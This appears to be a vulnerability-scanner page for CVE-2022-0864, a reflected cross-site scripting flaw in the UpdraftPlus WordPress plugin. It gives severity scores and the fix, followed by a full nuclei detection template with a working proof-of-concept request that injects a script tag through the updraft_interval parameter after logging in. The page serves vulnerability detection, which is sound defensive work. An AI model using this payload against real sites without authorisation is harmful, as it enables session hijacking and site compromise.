UpdraftPlus < 1.22.9 - Cross-Site Scripting

mediumseverity

6.1CVSS score

7.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Update UpdraftPlus plugin to version 1.22.9 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm('document_domain')</script>
Positive when: contains in body_2 "<script>confirm('document_domain')</script>" and "Existing backups" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0864 -u <target>

The full check

id: CVE-2022-0864

info:
  name: UpdraftPlus < 1.22.9 - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update UpdraftPlus plugin to version 1.22.9 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7337543f-4c2c-4365-aebf-3423e9d2f872
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0864
    - https://wordpress.org/plugins/updraftplus
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0864
    cwe-id: CWE-79
    epss-score: 0.07415
    epss-percentile: 0.9449
    cpe: cpe:2.3:a:updraftplus:updraftplus:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: updraftplus
    product: updraftplus
    framework: wordpress
  tags: wpscan,cve,cve2022,xss,authenticated,updraftplus,wp-plugin,wp,wordpress,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm('document_domain')</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<script>confirm('document_domain')</script>"
          - "Existing backups"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from